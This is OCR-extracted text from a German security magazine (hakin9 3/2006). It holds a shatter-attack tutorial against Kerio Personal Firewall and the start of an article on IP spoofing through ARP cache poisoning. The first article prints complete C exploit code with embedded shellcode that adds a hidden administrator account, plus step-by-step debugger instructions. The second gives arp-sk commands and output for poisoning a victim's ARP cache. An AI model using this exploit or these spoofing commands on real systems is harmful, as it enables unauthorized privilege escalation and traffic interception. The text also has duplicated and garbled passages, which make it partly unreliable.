Listing 7. Exploit, der Kerio Personal Firewall 2.1.4 austrickst und ein Administratorkonto hinzufügt #include <windows.h> #include <stdio.h> #include <string.h> /* win32_exec - EXITFUNC=process CMD=cmd.exe /c net user hakin9 hakin9 /add && net localgroup administrators /add hakin9 Size=240 Encoder=PexFnstenvSub http://metasploit.com */ unsigned char scode[] = "\x29\xc9\x83\xe9\xca\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x27" "\xca\x2a\x8c\x83\xeb\xfc\xe2\xf4\xdb\x22\x6e\x8c\x27\xca\xa1\xc9" "\x1b\x41\x56\x89\x5f\xcb\xc5\x07\x68\xd2\xa1\xd3\x07\xcb\xc1\xc5" "\xac\xfe\xa1\x8d\xc9\xfb\xea\x15\x8b\x4e\xea\xf8\x20\x0b\xe0\x81" "\x26\x08\xc1\x78\x1c\x9e\x0e\x88\x52\x2f\xa1\xd3\x03\xcb\xc1\xea" "\xac\xc6\x61\x07\x78\xd6\x2b\x67\xac\xd6\xa1\x8d\xcc\x43\x76\xa8" "\x23\x09\x1b\x4c\x43\x41\x6a\xbc\xa2\x0a\x52\x80\xac\x8a\x26\x07" "\x57\xd6\x87\x07\x4f\xc2\xc1\x85\xac\x4a\x9a\x8c\x27\xca\xa1\xe4" "\x1b\x95\x1b\x7a\x47\x9c\xa3\x74\xa4\x0a\x51\xdc\x4f\xb4\xf2\x6e" "\x54\xa2\xb2\x72\xad\xc4\x7d\x73\xc0\xa9\x47\xe8\x09\xaf\x52\xe9" "\x07\xe5\x49\xac\x49\xaf\x5e\xac\x52\xb9\x4f\xfe\x07\xa2\x4b\xe7" "\x4e\xa4\x13\xac\x4f\xab\x41\xe5\x49\xf3\x0a\xa3\x46\xae\x4e\xac" "\x01\xec\x0a\xe2\x42\xbe\x0a\xe0\x48\xa9\x4b\xe0\x40\xb8\x45\xf9" "\x57\xea\x4b\xe8\x4a\xa3\x44\xe5\x54\xbe\x58\xed\x53\xa5\x58\xff" "\x07\xe5\x4b\xe8\x43\xea\x42\xed\x4c\xa3\x44\xb5\x27\xca\x2a\x8c"; int main() { HANDLE ParentWnd, ChildWnd; LONG scaddr; char *buf; ParentWnd = FindWindow("#32770", "Kerio Personal Firewall"); if(ParentWnd == NULL) { printf("Couldn't find top-level window!\n"); system("PAUSE"); return 1; } ChildWnd = FindWindowEx(ParentWnd, NULL, "Edit", NULL); if(ChildWnd == NULL) { printf("Couldn't find Edit control!\n"); system("PAUSE"); return 1; } if(SendMessage(ChildWnd, EM_SETREADONLY, FALSE, 0)==0) { printf("Sending WM_SETREADONLY message failed!\n"); system("PAUSE"); return 1; } buf = malloc(strlen(scode)+1024*1024+1); buf = memset(buf, 0x90, 1024*1024); strcat(buf, scode); buf[strlen(buf)] = 0; SendMessage(ChildWnd, EM_SETLIMITTEXT, strlen(scode)+1024*1024+1, 0); if(!SendMessage(ChildWnd, WM_SETTEXT, 0, (LPARAM)buf)) { printf("Sending WM_SETTEXT message failed!\n"); system("PAUSE"); return 1; }
}
SendMessage(ChildWnd, EM_SETWORDBREAKPROC, 0L, 0x00B45000); SendMessage(ChildWnd, WM_LBUTTONDBLCLK, MK_LBUTTON, (LPARAM)0x000a000a );
www.hakin9.org
den Prozesse sowie der Benutzer, der sie ausgeführt hat, angezeigt werden. Klicken Sie doppelt auf das Icon der Firewall im System-Tray. Daraufhin soll das Hauptfenster des Programms erscheinen, wo jedoch das benötigte Control Edit nicht zu finden ist. Wählen Sie im Menü File die Anweisung Connect... Es wird ein neues Fenster geöffnet, das Felder enthält, in denen die Verbindungsparameter eingetragen werden können. In was trägt man Verbindungsparameter ein? In Edit Controls! Abbildung 1 zeigt einen Screenshot des Programms Process Explorer mit einem markierten Prozess, dem das Fenster mit den Controls Edit gehört. Wie Sie sehen, läuft dieser Prozess als ein Systemdienst. Um sicher zu sein, dass es sich um das richtige Fenster handelt, können Sie es aufrufen, indem Sie es mit der rechten Maustaste anklicken und die Anweisung Bring to Front wählen. Starten Sie erneut den Debugger und hängen ihn an den Prozess dieses Fensters an. Es werden dort einige Prozesse zu sehen sein, die sich auf Kerio Personal Firewall beziehen. Um den richtigen Prozess auszuwählen, sollen Sie entweder auf den Fenstertitel schauen oder die Nummer des Prozesses in Process Explorer (Spalte PID) mit OllyDbg (Spalte Process) vergleichen. Abbildung 2 zeigt den markierten (richtig) Prozess in OllyDbg. Man sollte aber nicht vergessen, dass OllyDbg einen hexadezimalen und Process Explorer einen dezimalen Wert anzeigt. Sollte Ihnen das Umrechnen Schwierigkeiten bereiten, können Sie den Windows-Taschenrechner in der wissenschaftlichen Ansicht einsetzen. Nach dem Anhängen von OllyDbg an den entsprechenden Prozess können Sie sich die Struktur der Fenster anschauen — genauso wie im Falle des Editors. Wie Sie der Abbildung 3 entnehmen können, heißt das übergeordnete Fenster Kerio Personal Firewall, seine Klasse ist #32770 und die zwei Controls Edit liegen direkt drauf.
hakin9 Nr. 3/2006
19
Thema der Ausgabe
Abbildung 4. Generieren eines Shellcodes in Metasploit Framework
Abbildung 5. Suche nach dem Shellcode
Abbildung 6. Ablesen der Adresse der gefundenen Zeichenkette
20
hakin9 Nr. 3/2006
www.hakin9.org
Sie brauchen für Ihren Exploit noch einen Shellcode, der zu einer neuen Funktion zum Umbruch eines Textes wird und somit durch den angegriffenen Prozess ausgeführt werden kann. Sie können einen beliebigen Shellcode verwenden — er soll lediglich für das jeweilige System geschrieben und korrekt sein. Im Kasten Generieren eines Shellcodes in Metasploit Framework wurde ein Shellcode vorgestellt, der einen neuen Administrator hinzufügt. Diesen Shellcode werden Sie im Code der Expolits verwenden. Der hier gezeigte Code gilt für eine englische Windowsversion. Wie er für andere Versionen angepasst werden kann, hatte wir im genannten Kasten gezeigt. Soweit die Vorbereitungen — nun können Sie sich mit dem Schreiben des Codes Ihres Exploits beschäftigen. Genauso wie im Falle des Beispielcodes mit dem Editor, müssen Sie zunächst das Handle zum Control erhalten. Zu diesem Zweck verwenden Sie die Funktion FindWindow() und FindWindowsEx() sowie die Informationen aus dem Debugger. Sobald wir über das Handle verfügen kann der Shellcode mithilfe der Message WM_SETTEXT im Control gespeichert werden. Man sollte sich aber vorher vergewissern, dass die voreingestellte Länge der Zeichenkette, die im Control gespeichert werden kann, für den Code ausreicht. Es empfiehlt sich, die benötigte Länge vorsichtshalber mit der Message EM_SETLIMITTEXT festzulegen. Da das Edit-Control read-only sein kann, senden wir noch EM_SETREADONLY mit dem Parameter wParam gleich FALSE. Danach können Sie ohne Bedenken die Message WM_SETTEXT mit der Adresse Ihres Shellcodes senden. Während des Schreibens des Exploits ist aber die Adresse des Shellcodes im Speicher des anzugreifenden Prozesses noch nicht bekannt. Um diese Adresse herauszufinden, stellen Sie dem Shellcode eine bestimmte Zeichenkette voran, z. B. hakin9. Dadurch werden Sie Ihren Shellcode im Speicher leichter finden können. Mehr Details dazu finden
Ausnutzen von Fehlern in Windows-Meldungen
Durchsuchen des Speichers nach dem Shellcode
OllyDbg ermöglicht eine sehr bequeme Durchsuchung des Speichers eines debuggten Prozesses. Wählen Sie im Fenster Memory Map aus dem Kontextmenü die Anweisung Search aus. Nun können Sie eine Zeichenkette in ASCII, UNICODE oder hexadezimal eintragen. Um diesen Schritt zu vereinfachen, haben wir am Anfang des Shellcodes die Zeichenkette hakin9 platziert. Es genügt jetzt, diese Zeichenkette im Feld ASCII anzugeben und OK anzuklicken. Wurde der Shellcode kopiert, soll er nun gefunden werden. Die erste Adresse von oben in der linken Spalte ist die Adresse der gesuchten Zeichenkette. Sie müssen zu dieser Adresse die Länge der Zeichenkette hakin9 addieren, um die Adresse des ersten Bytes des Shellcodes zu erhalten. Die den Abbildungen 5 und 6 zeigen die beschriebenen Tätigkeiten.
Sie im Kasten Durchsuchen des Speichers nach dem Shellcode. Nachdem Ihr Exploit WM_SETTEXT gesendet hat, wird er warten, bis Sie die Adresse des Shellcodes eingegeben haben. Dann erstezt er die Default-Adresse der Funktion zum Umbruch des Textesdurch die eingegebene Adresse Zum Schluss senden Sie der Exploit noch WM_LBUTTONDBLCLK was den Aufruf der Umbruchfunktion auslöst. Hat alles geklappt, sollte im System ein Konto mit den definierten Parametern angelegt worden sein. Listing 6 zeigt den vollständigen Code dieses Exploits. Mithilfe des Debuggers können wir sehr einfach dieAdresse des Shellcodes finden. Allerdings wird ein solcher Exploit nutzlos sein, da die Adresse nach jedem Ausführen des anzugreifenden Programms sich ändern wird-ohne Administratorrechte können wir den Debugger nicht verwenden. Dies stellt aber kein großes Hindernis dar. Ähnlich wie im Falle des Pufferüberlaufs verwenden wir die NOP-Befehle. Im Vergleich zum Pufferüberlauf sieht die Lage aber viel günstiger aus, denn wir können die Puffergröße selbst festlegen (Message EM _ SETLIMIT-TEXT). Mehr Speicher zu allozieren als man braucht ist zwar nicht elegant, wir schreiben aber einen Exploit und es lohnt sich in diesem Fall nicht, zu überprüfen, wie viel Speicher benötigt wird. Aus diesem Grund setzen wir die Größe des NOP-Blocks auf 1MB. Eine solche Größe reicht vollkommen aus und ist für moderne Hardware keine große Herausforderung. Wir starten den Exploit erneut und wählen mithilfe des Debuggers
eine Adresse aus, die sich ungefähr in der Mitte des NOP-Blocks befindet. Wir tragen diese Adresse in den Code des Exploits ein und erhalten einen Code, den wir in der Praxis einsetzen können. Der Quellecode wurde in Listing 7 vorgestellt. Die neueren Versionen von Kerio Personal Firewall für gewöhnliche Benutzer, die erweiterte Berechtigungen erfordern, können weiterhin anfällig für diese Art von Angriffe sein. Sie lassen aber keine Erweiterungen der Berechtigungen zu, da die Autoren des Programms aus Sicherheitsgründen die Applikation in zwei Teile aufgeteilt haben; ein Teil verfügt über Systemrechte und ein anderer Teil kommuniziert mit dem Benutzer. Ein Prozess, der für Ihren Angriff anfällig sein könnte, läuft mit den Berechtigungen eines eingeloggten Benutzers und kommuniziert lediglich mit einem Prozess, der über mehr Berechtigungen verfügt. Das Ausnutzen eines eventuellen Fehlers würde also nicht den gewünschten Effekt bewirken Aus der Sicht des Administrators ergibt sich daraus die Empfahlung, Software, die eine GUI zur Verfügung stellt und die mit Systemrechten läuft, nach Möglichkeit durch eine getrennte Software zu ersetzen. Dies stellt zwar keine Gegenmaßnahme gegen den beschriebenen Fehler dar, macht aber dessen praktische Verwendung beinahe unmöglich.
Umgehen der Firewall
Ein anderes, derzeit viel praktisches Beispiel für die Ausnutzung des vorgestellten Fehlers ist dessen Anwenden gegen eine Applikation,
www.hakin9.org
für die in der Firewall eine Regel definiert wurde, die einen Zugriff auf das Netzwerk erlaubt. Wenn es gelingt, Code in ein solcher Programm zu injizieren, kann man auf das Netzwerk zugreifen. Aus der Sicht der Firewall wird der Code die Regel erfüllen, da er zum Prozess gehört, dem die Verbindung erlaubt wurde, vorausgesetzt man verwendet die von der Regel erlaubten Protokolle. Diese Strategie erinnert an andere Methoden zum Umgehen von Firewalls mithilfe eines injizierten Codes, wie z. B. die Techniken, in denen die Funktion CreateRemoteThread() eingesetzt wird. Eine von ihnen, die so genannte dll injection-Technik, wurde in der Ausgabe 3/2005 von hakin9 beschrieben. Man muss dazu ein Programm finden, dem eine definierte Regel zugeordnet wurde, und das für einen Angriff anfällig ist, der auf der message EM_SETWORDBREAKPROC (bzw. einer anderen Message) basiert. Ein zusätzliches Hindernis stellt die Notwendigkeit der vollen Automatisierung dar, weil der Angreifer bei dieser Technik im Remote-Modus agieren muss. Beim Schreiben des vorherigen Beispiels wurde angenommen, dass der Angreifen auf den Rechner des Opfers physisch zugreifen kann, um das entsprechende Fenster zu öffnen und erst dann den Exploit zu starten. Beim einem Remote-Angriff. könnte ein anderer User am angegriffenen Rechner sitzen, der sich natürlich über aufgehende Fenster wundern würde. Die Anwendung dieser Technik zum Umgehen der Firewall entspricht hinsichtlich des Injizieren des Codes dem vorherigen Beispiel-andere Aspekte dieser Technik würden aber den Rahmen dieses Artikels sprengen. Möchte man diese Methode jedoch nur überprüfen, kann der vorherige Code leicht Struktur der Fenster eines der Struktur eines ausgewählten Programms angepasst und der Shellcode durch einen, der die Netzwerkverbindung verwendet,ersetzt werden. Es gibt auch andere Methoden zum Injizieren eines Codes, wie z. B. die bereits genannte Techniken,
hakin9 Nr. 3/2006
21
Thema der Ausgabe
22
hakin9 Nr. 3/2006
www.hakin9.org
Ausnutzen von Fehlern in Windows-Meldungen
www.hakin9.org
hakin9 Nr. 3/2006
23
Thema der Ausgabe
sowie Controls verfügt, die für den Angriff anfällig sind (nicht unbedingt jene, die im Artikel beschrieben wurden). Andererseits hat der Einsatz der Meldungen den Vorteil, dass nur die Funktion SendMessage() benötigt wird, die in jeder grafischen Applikation verwendet wird. Diese Funktion steht in allen WindowsVersionen ab Windows 95 (und nicht nur in Systemen mit dem NT-Kernel) zur Verfügung. Außerdem stellt heutzutage das Auffinden einer zusätzlichen DLL-Bibliothek für die moderne Software zur Systemsicherheit kein Problem dar. Wie es bereits gezeigt wurde, ist auch die Erweiterung der Berechtigungen möglich, die mithilfe der konkurrierenden Techniken nicht machbar ist. Andere Techniken zum Injizieren eine Codes
Sicherheitsrisiko
Abbildung 7. Liste der Benutzer nach dem Ausführen des Exploits die auf der Funktion CreateRemoteThread() basieren. Sie alle haben gemein, dass sie nicht die Fehler ausnutzen, die die Autoren der anfälligen Programme gemacht haben, sondern Design-Fehler, die die Autoren der anfälligen Programme gemacht haben, sondern DesingFehler der Autoren des Systems Windows, die bewirken, dass jedes Programm ohne weiteres anfällig ist. Für das Anwenden der Funktion CreateRemoteThread() spricht ein großer Komfort beim Programmieren, insbesondere dann, wenn man das Schreiben einer DLL-Bibliothek mit der Notwendigkeit eines ShellcodeEinsatzes vergleicht. Außerdem soll auch die Universalität der Bibliothek in Betracht gezogen werden. Sie erfordert keine besonderen Umstände, kann gegen die meisten Programme eingesetzt werden und der Code muss nicht im Hinblick auf eine bestimmte Applikation erstellt werden, und red Code muss nicht Hinblick auf
24
hakin9 Nr. 3/2006
eine bestimmte Applikation erstellt werden. Derselbe Code kann gegen verschiedene Programme eingesetzt werden. Darüber hinaus setzt das Anwenden der Meldungen voraus, dass die Applikation über eine GUI
Es ist schwierig, einen genauen Grad der Bedrohung durch die Fehlern in Windows-Meldungen zu benennen. Nichtsdestotrotz kann das Risiko als hoch eingestuft werden. Das vorgestellte Beispiel ist sicherlich keine universelle Methode zur Übernahme der Kontrolle über ein System, da es das Starten des anzugreifenden Programms bzw. das Vorhandensein des gestarten Programms voraussetzt. Der Angreifen muss also entweder einen physischen Zugang zum Rechner
Über den Autor
Der Autor studiert im ersten Semester Informatik im Fachbereich Kybernetik der Militärischen Technischen Akademie in Warschau. Er interessiert sich seit ein paar Jahren für IT-Sicherheit und ist einer der Co-Autoren eines Webservices, der dieser Thematik gewidmet ist.
Im Internet •
•
•
http://security.tombom.co.uk/shatter.html – ein Artikel von Chris Paget, der als Erster die Gefahr, durch Fehlern in Szstemmessages in Windows beschrieben hat; http://www.security-assessment.com/Whitepapers/Shattering _By _ExampleV1_03102003.pdf – Brett Moore stellt das Ausnutzen anderer gefährlichen Messages vor; http://www.rootsecure.net/content/downloads/pdf/shatter_attack_redux.pdf – ein Text von Oliver Lavery, in dem der Code der im Artikel erwähnten DLL-Bilbiothek beschrieben wurde.
www.hakin9.org
haben oder Fehler in einer anderen Applikation ausnutzen. Allerdings ist es nicht ausgeschlossen, dass sich dies Art vin Angriffen in nacher Zukunft zu einem Renner entwickeln. Dies liegt an den Fortschritten in der Entwicklung der Software, die zum Schutz des Systems dient und mit den anderen Techniken immer besser zurechtkommt.
Wie kann ich mich schützen?
Die beste Methode wäre das Installieren eines Betriebsszstem-Patches. Dieser ist aber noch nicht erschienen und dies wird sich in der nächsten Zukunft nicht ändern. Microsoft weiß seit Langem von den Fehlern aber offenbar handelt es sich hier um einen ernsten Design-Fehler, der nicht behoben werden kann, ohne dass die Kompatibilität mit der existierenden Software beeinträchtigt wird. Ein gewöhnlicher Benutzer kann sich nicht erfolgreich schützen, er kann aber das Ausführen von bösartigem Code vereiteln, indem er sein System resistenter macht. Er kann seine Software regelmäßig aktualisieren, um von Seciuruty.Fixes zu profitieren, sowie Antivirenprogramme und andere Schutzmaßnahmen verwenden. Es ist wichtig, jene Software loszuwerden, die die Erweiterung der Berechtigungen ermöglicht. Ein Programmieren kann ein bisschen mehr tun. In erster Linie soll die Strategie verfolgt werden, dass man keinen Daten trauen kann, die in irgendeiner Hinsicht von Messages abhängig sind, die vom Programm empfangen werden. Man sollte auch den Fehler vermeiden, dass man die Benutzerschnittstelle mit einem Dienst verbindet, der mit höheren Berechtigungen arbeitet. In einem solchen Programm soll zwischen dem Modul, der Tätigkeiten realisiert, die höhere Berechtigungen erfordern, und der Kommunikation mit einem nicht privilegierten Prozess, der als Schnittstelle fungiert, strikt getrennt werden. Theoretisch können die empfangenen Meldungen gefiltert werden. Dies ist ziemlich einfach im Falle von
Queued-Messages gefiltert werden. Dies ist zimlich einfach im Falle von QueuedMessages, kann aber bei Nonqueued-Meldungen (wie z.B. EM _SET WORDBREAKPROC) nicht verwendet werden. Die einzige Lösung besteht im Modifizieren der Prozedur, die für das Fenster zuständig ist (subclassing). Eine neue Prozedur könnte die ankommenden Messages filtern. Die verifizierten Messages könnten dann an die originale Prozedur weitergeleitet werden, die für ein bestimmtes Control zuständig ist. Da es jedoch keine Möglichkeit gibt, den Sender zu bestimmen, ist das Wort filtern fehl am Platz, da es lediglich darum gehen würde, alle potenziell gefährlichen Messages zurückzuweisen. Möchten wir in der Applikation eine dieser Messages anwenden, gibt es keine Möglichkeit, einen sinnvollen Schutz zu gewährleisten. Oliver Lavery hat in seinem Text (siehe Kasten Im Internet) den Code einer DLL-Bibliothek vorgestellt, die die Prozeduren, die für das Control Edit zuständig sind, automatisch durch eine solche ersetzt, die die Meldung EM_SETWORDBREAKPROC zurückweist. Man sollte daran denken, dass das beschriebene Problem nicht nur die Message EM_SETWORDBREAKPROC, sondern auch viele andere gefährlichen Message, die gegen andere Elemente der Schnittstelle eingesetzt werden können. Manche von ihnen wurden von Brett Moore beschrieben (siehe Kasten Im Internet). Aus diesem Grund kann das Herausfiltern einer Message keine ganzheitliche Lösung darstellen. Desweiteren kann man als Proogrammierer bei Controls, die einen Text aufbewahren, als Zeichenkodierung UNICODE anstelle von ASCII verwenden. Bei UNICODE werden für ein Zeichen mehrere Bytes verwendet, was den Aufwand beim Erstellen eines Shellcodes erheblich erhöht und auf den einen oder anderen demotivierend wirken kann. l
www.hakin9.org
Fokus
Wie man IP-Adressenfilterung an Firewalls bzw. Routern umgeht Kristof De Beuckelaer
Schwierigkeitsgrad
Spoofing ist ein gängiger Begriff im Sicherheitsbereich, der eine Situation beschreibt, in der sich eine Person bzw. ein Programm für einen anderen Kommunikationsteilnehmer ausgibt. Eine übliche Spoofingtechnik ist Ref-Tar-Spoofing. IP Smart Spoofing bedient sich einer Kombination des ARP Cache Poisoning, der Übersetzung von Netzwerkadressen und der Routingverfahren.
E
s gibt eine neue Methode, IP-Adressen mit einem Tool namens ARP-sk zu spoofen, allerdings gibt es hierfür auch andere Tools, beispielsweise ARP-fillup. Wenn Sie sich gut genug auskennen, können Sie sich ein einfaches Perl-Skript schreiben, das diesen Prozess automatisiert und/oder ARP-sk und ARP-fillup nebeneinander nutzen lässt. IP Spoofing ist nichts Neues und es wurden inzwischen verschiedene Tools entwickelt, mit denen man es umsetzen kann. Daher zeigen wir nun, warum IP-basierte Zugriffskontrolle in vielen Fällen unzuverlässig ist und nicht in Unternehmensnetzwerken eingesetzt werden sollte. IP Smart Spoofing bedient sich einer Kombination aus ARP Cache Poisoning, Auflösung von Netzwerkadressen und Routingverfahren. Es bedarf keiner raffinierten Hacks. Zuerst fangen wir ganz am Anfang an, um uns ans MAC Spoofing und ARP Spoofing bzw. ARP Cache Poisoning zu erinnern und tasten uns dann an Smart Spoofing heran.
Die Auswirkungen von Smart Spoofing Netzwerkgeräte wie Router oder Firewalls setzen oft IP-Quelladressenfilterung ein. Ihre Regeln können von jedem Rechner auf dem
26
hakin9 Nr. 3/2006
Pfad zwischen dem autorisierten Client und der Firewall umgangen werden. In den meisten Unternehmensnetzen, die über eine Firewall ans Internet angeschlossen sind, verfügen beispielsweise nur bestimmte wenige Rechner über die Möglichkeit direkt ans Internet zu gehen (wie der interne HTTP-Proxy mit Inhalts- bzw. URLFilterung, Mailserver usw.). Mit Smart Spoofing kann jeder interne Nutzer diese Einschränkungen umgehen (die HTTP-Filterung von Inhalten und URL's umgehen, SMTP-basierte E-Mails
In diesem Artikel erfahren Sie… •
Warum IP-basierte Zugriffskontrolle in vielen Fällen weder sicher noch zuverlässig ist und nie im Unternehmensnetzwerk eingesetzt werden sollte.
Was Sie vorher wissen/können sollten... •
www.hakin9.org
Sie sollten die Grundlagen des ARP-Spoofings, der Auflösung von Netzwerkadressen und der Routingverfahren kennen.
Wie man IP-Adressenfilterung umgeht
direkt verschicken/empfangen). Auf dieselbe Art und Weise können Anwendungen mit IP-basierten Zugriffsbeschränkungen von Unbefugten aus dem Netzwerkpfad zwischen einem autorisierten Client und dem autorisierten Server umgangen werden. So ist es bei vielen Anwendungen wie Apache ACL, r-Befehlen, NFS, TCPWrappern, eingeschränkten Administrationstools usw. Außerdem können Schutzmechanismen gegen SMTP Relaying umgangen werden, die auf die umgekehrte Auflösung von IP-Quelladressen bauen. Indem ein böswilliger Nutzer auf dem Pfad zwischen den STMP-Relays A und B die IP-Adresse des Hosts A spooft, kann er E-Mails durch B weiterleiten lassen, indem er eine gefälschte E-Mail-Quelladresse aus der von A gehosteten Domain verwendet.
Was ist ARP?
Das Address Resolution Protocol (ARP) ist ein Netzwerkprotokoll, das eine Adresse der Vermittlungsschicht auf die Hardwareadresse der Sicherungsschicht abbildet. ARP wird beispielsweise bei der Auflösung von IP-Adressen in die entsprechenden Ethernet-Adressen verwendet.
Wie bildet ARP eine IPAdresse auf eine EthernetAdresse ab?
Wenn ARP eine vorgegebene IPAdresse in eine MAC-Adresse auflösen soll, broadcastet ein ARPAnfragepaket. Dieses Paket enthält die MAC- und IP-Quelladressen sowie die IP-Zieladresse. Jeder Host im lokalen Netzwerk empfängt dieses Paket. Der Host mit der vorgegebenen Zieladresse meldet sich beim Absenderhost mit einem ARP-Antwortpaket.
Schnelle Übersicht über die Möglichkeiten von ARP-sk ARP ist ein bekanntes Protokoll, es ermöglicht eine ganze Reihe verschiedener Angriffe und doch ist der häufigste Angriff auf Sniffing beschränkt. ARP-sk ist zur Manipulation von ARPTabellen an allerlei Geräten gedacht.
Tabelle 1. Ein Ethernet-Frame Ziel-MAC
Quell-MAC
Typ
Payload
Prüfsumme
Ethernetframe Hardwaretyp
Protokolltyp
HW-Addr.-Länge P-Addr.-Länge
Opcode
Hardwareadresse der Quelle Protokolladresse der Quelle Hardwareadresse des Ziels Protokolladresse des Ziels Dies kann man ohne Weiteres durch das Verschicken entsprechender Pakete bewerkstelligen. Grundsätzlich ist ein ARP-Anfragepaket in einem Ethernet/IP-Netzwerk durch sieben wichtige Parameter gekennzeichnet (siehe Tabelle 1): • •
die Ethernet-Schicht stellt zwei Adressen bereit (SRC und DST), die ARP-Schicht enthält den Nachrichtencode (request oder reply ) und die Portnummern (ETH, IP) für die Quelle und das Ziel.
Dabei ist nirgendwo gesagt, dass die ARP- und Ethernet-Schicht konsistent sein müssen. Daher brauchen die Adressen auf den beiden Schichten nicht korelliert zu sein. <<small reminders>> #1
MAC-Spoofing
Dieser Angriff zielt typischerweise auf das Ethernet-Protokoll auf der Schicht 2 ab. Er erweist sich als sehr effektiv gegen Switches, die ihre CAM-Tabellen (Content Addressable Memory bei Cisco) aktualisieren; die Tabellen beinhalten alle Ethernet-Adressen, die an jeden Port des Switch gebunden sind. Manchmal ist aber auch diese Attacke nicht die beste und effizienteste. •
Wenn die CAM-Tabelle statisch ist, wird der Port beim Opfer geschlossen und der Administrator benachrichtigt.
Allerdings fallen einige Switches in den fail open Modus zurück (sie leiten jedes Paket an alle Ports weiter, genau wie Hubs), wenn es zu zu vielen Konflikten kommt.
ARP-Manipulation
ARP-Manipulation oder wie der Verkehr in einem LAN umgeleitet wird Das Erste, was einem in den Sinn kommt, wenn man ein LAN belauschen will, ist, sein Netzwerkinterface in den Promiscuous-Mode zu schalten. Dies führt dazu, dass jedes am Interface ankommende Paket direkt von Schicht 2 (meistens Ethernet) nach oben (IP, ARP, DNS...) geleitet wird, ohne dass geprüft wird, ob dieses Interface das richtige Ziel des Pakets ist oder nicht. Leider hat die Methode ihre Einschränkungen, da es unmöglich ist, damit über einen Switch hinaus zu gehen. <<small reminders >> #2 MAC-Spoofing
www.hakin9.org
<<small reminders >> #3 ARP-Spoofing
ARP-Spoofing
Da MAC-Spoofing weder effizient noch gut verschleiert ist, wechseln wir eine Schicht nach oben, zum ARP-Protokoll. ARP-Meldungen werden ausgetauscht, wenn ein Host die MAC-Adresse eines anderen zu ermitteln versucht. Wenn batman beispielsweise robins MAC-Adresse benötigt, verschickt er eine ARPAbfrage (Who has? Red.- ARP wird verwendet, um die Ethernet-Adresse eines Hosts anhand seiner IP-Adresse zu ermitteln. ARP wird breit von allen Hosts in Ethernet-Netzwerken eingesetzt.) an die Broadcast-Adresse und robin gibt seine MAC-Adresse zurück. Was passiert aber, wenn Joker schneller als Robin ist?
hakin9 Nr. 3/2006
27
Fokus
•
Listing 1. Verschicken der Who has Abfrage
•
[root@joker]# arp-sk -w -d batman -S robin -D batman + Running mode “who-has” + IfName: eth0 + Source MAC: 00:10:a4:9b:6d:81 + Source ARP MAC: 00:10:a4:9b:6d:81 + Source ARP IP : 192.168.1.2 (robin) + Target MAC: 52:54:05:F4:62:30 + Target ARP MAC: 00:00:00:00:00:00 + Target ARP IP : 192.168.1.1 (batman)
Erstellen eines neuen Eintrags
Dazu schicken wir eine Abfrage (Who has?) an das Opfer. Wenn ein Host ein who-has empfängt, glaubt er, dass eine Verbindung aufgebaut werden wird. Um also den ARP-Verkehr zu reduzieren, legt er in seinem ARP-Cache einen neuen Eintrag an und speichert darin die in der ARPAnfrage angegebenen Adressen (siehe Listings 1 und 2). Hier ist eine kurze Legende zu unseren weiteren Aktionen:
--- Start sending -To: 52:54:05:F4:62:30 From: 00:10:a4:9b:6d:81 0x0806 ARP Who has 192.168.1.1 (00:00:00:00:00:00) ? Tell 192.168.1.2 (00:10:a4:9b:6d:81) --- batman (00:00:00:00:00:00) statistic --To: 52:54:05:F4:62:30 From: 00:10:a4:9b:6d:81 0x0806 ARP Who has 192.16.1.1 (00:00:00:00:00:00) ? Tell 192.168.1.2 (00:10:a4:9b:6d:81) 1 packets tramitted (each: 42 bytes - total: 42 bytes)
•
Listing 2. Der Cacheinhalt bei Batman
•
# before [batman]$ arp -a alfred (192.168.1.3) at 00:90:27:6a:58:74 # after [batman]$ arp -a robin (192.168.1.2) at 00:10:a4:9b:6d:81 alfred (192.168.1.3) at 00:90:27:6a:58:74 12:50:31.198300 arp who-has robin tell batman [1] 12:50:31.198631 arp reply robin is -at 0:10:a4:9b:6d:81 [2]
Batman trägt jokers MAC-Adresse in seinen ARP-Cache ein. Da aber batmans Paket gebroadcastet wurde, antwortet auch robin: 12:50:31.198862 arp reply robin is -at 52:54:5:fd:de:e5 [3]
Wichtig
Wenn das Opfer den zu spoofenden Eintrag nicht bereits aufbewahrt, bringt das Antworten nichts, weil der Cache einen nicht existierenden Eintrag nicht aktualisiert. ARP-Cache? ARP speichert die Abbildungen von IP- auf MAC-Adressen in einer Tabelle im Speicher, die als ARPCache bezeichnet wird. Die Einträge in der Tabelle werden automatisch hinzugefügt und entfernt.
28
hakin9 Nr. 3/2006
einen neuen Eintrag in den Cache des Opfers einzutragen oder einen bereits vorhandenen Eintrag zu aktualisieren
ARP Cache Poisoning
Da die besprochenen Angriffe ihre Beschränkungen haben, erweist sich den Cache des Opfers zu manipulieren als die beste Lösung, egal, was für ARP-Meldungen er verschickt. Dazu müssen wir entweder versuchen:
– die Adresse des Filtergeräts, mit dem die Verbindung hergestellt werden soll ->S – die zu spoofende Adresse des vertrauenswürdigen Hosts ->D
Jetzt werden also, wenn batman eine Verbindung zu robin herstellt, Pakete an joker geschickt, und zwar ohne dass batman etwas zu senden braucht. Dabei ist das Verschicken einer ARP-Anfrage im Unicast-Modus völlig RFC-konform. Ein Host überprüft damit nämlich die Einträge in seinem Cache.
Aktualisieren eines Eintrags
Die Methode des ARP-Spoofings ist genau das, was wir brauchen! Wir
Listing 3. Aktualisierungsmethode [root@joker]# arp-sk -r -d batman -S robin -D batman + Running mode "reply" + IfName: eth0 + Source MAC: 00:10:a4:9b:6d:81 + Source ARP MAC: 00:10:a4:9b:6d:81 + Source ARP IP : 192.168.1.2 (robin) + Target MAC: 52:54:05:F4:62:30 + Target ARP MAC: 52:54:05:F4:62:30 + Target ARP IP : 192.168.1.1 (batman) --- Start sending -To: 52:54:05:F4:62:30 From: 00:10:a4:9b:6d:81 0x0806 ARP For 192.168.1.1 (52:54:05:F4:62:30) 192.168.1.2 is at 00:10:a4:9b:6d:81 --- batman (52:54:05:F4:62:30) statistic --To: 52:54:05:F4:62:30 From: 00:10:a4:9b:6d:81 0x0806 ARP For 192.168.1.1 (52:54:05:F4:62:30): 192.168.1.2 is at 00:10:a4:9b:6d:81 1 packets tramitted (each: 42 bytes - total: 42 bytes)
www.hakin9.org
Wie man IP-Adressenfilterung umgeht
müssen lediglich ARP-Antworten an batman schicken, die robins IP-Adresse, aber jokers MAC-Adresse enthalten. Auch wenn ein Eintrag in batmans Cache vorhanden ist, wird er mit jokers Angaben überschrieben: [batman]$ arp -a robin (192.168.1.2) at 52:54:05:fd:de:e5 alfred (192.168.1.3) at 00:90:27:6a:58:74
